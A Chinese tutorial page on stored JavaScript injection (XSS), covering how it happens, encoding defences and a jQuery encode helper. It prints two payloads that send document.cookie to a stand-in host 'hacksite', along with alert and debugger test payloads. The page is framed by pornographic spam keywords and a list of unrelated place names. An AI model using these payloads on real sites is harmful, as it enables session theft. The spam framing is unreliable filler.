最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

JavaScript注入漏洞的原理及防范(詳解)

 更新時(shí)間:2016年12月04日 14:20:19   投稿:jingxian  
下面小編就為大家?guī)?lái)一篇JavaScript注入漏洞的原理及防范(詳解)。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧

初次接觸:

初次接觸JavaScript注入漏洞后,如果不對(duì)這種漏洞的作用機(jī)理仔細(xì)分析并提取出其發(fā)生的某種模式,你就不能做到快速的發(fā)現(xiàn)項(xiàng)目中可能存在的所有注入風(fēng)險(xiǎn)并在代碼中防范。

發(fā)生模式:

JavaScript注入漏洞能發(fā)生作用主要依賴兩個(gè)關(guān)鍵的動(dòng)作,一個(gè)是用戶要能從界面中注入JavaScript到系統(tǒng)的內(nèi)存或者后臺(tái)存儲(chǔ)系統(tǒng)中;二是系統(tǒng)中存在一些UI會(huì)展示用戶注入的數(shù)據(jù)。

比如注入漏洞最常見的就是發(fā)生在各種類型的名字中,比如系統(tǒng)中的人名等等,因?yàn)槊滞鶗?huì)在各種系統(tǒng)上顯示,如果在某個(gè)用戶輸入名字的時(shí)候注入了腳本,那么受其影響的各個(gè)系統(tǒng)都有發(fā)生注入漏洞的風(fēng)險(xiǎn)。

曾經(jīng)在幫別的項(xiàng)目做Bug Bash時(shí),我給系統(tǒng)中的一個(gè)名字中注入了JavaScript腳本,結(jié)果導(dǎo)致使用這個(gè)名字的8個(gè)子系統(tǒng)、站點(diǎn)、app出現(xiàn)問(wèn)題。

解決方案:

防范注入漏洞主要有兩個(gè)思路:一個(gè)是在用戶輸入數(shù)據(jù)后Encode內(nèi)容后再保存到持久存儲(chǔ),另一個(gè)是在展示用戶輸入數(shù)據(jù)的地方Encode從持久存儲(chǔ)中取到的數(shù)據(jù)。

方法一的優(yōu)點(diǎn)是一般存儲(chǔ)用戶輸入數(shù)據(jù)的代碼少而固定但展示輸入數(shù)據(jù)的UI界面可能有很多而且還會(huì)有變化的可能,因此比較好防范;但缺點(diǎn)是存儲(chǔ)在持久存儲(chǔ)中的數(shù)據(jù)是Encode后的。

方法二的優(yōu)點(diǎn)是存儲(chǔ)在持久存儲(chǔ)中的數(shù)據(jù)原始內(nèi)容;但缺點(diǎn)是需要在多處UI界面中寫代碼防范,而且還得確保在增加新的UI時(shí)不忘防范。比如現(xiàn)在Web app比較流行,公司決定開發(fā),那么在開發(fā)的過(guò)程必須要做好防范,否則可能別的地方都防范好了,但新系統(tǒng)中卻沒(méi)有做好防范,漏洞最后還是發(fā)生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻擊時(shí)注入內(nèi)容:

jQuery場(chǎng)景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS場(chǎng)景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

測(cè)試漏洞時(shí)注入內(nèi)容:

<script>alert(0)</script>

<script>debugger</script> --輔助開發(fā)人員快速定位出錯(cuò)的JavaScript代碼(打開調(diào)試器的情況下)。

以上這篇JavaScript注入漏洞的原理及防范(詳解)就是小編分享給大家的全部?jī)?nèi)容了,希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

最新評(píng)論

福清市| 太湖县| 玉龙| 滁州市| 彭泽县| 吉首市| 肃南| 神木县| 嫩江县| 黑河市| 资源县| 中方县| 都兰县| 隆尧县| 拜泉县| 威海市| 闵行区| 南京市| 宁德市| 衡东县| 邮箱| 尼木县| 犍为县| 高要市| 梨树县| 宁蒗| 清涧县| 芦山县| 定远县| 邵阳县| 如东县| 潮州市| 五寨县| 铁力市| 商水县| 阳城县| 巨野县| 吴川市| 孟津县| 双鸭山市| 稷山县|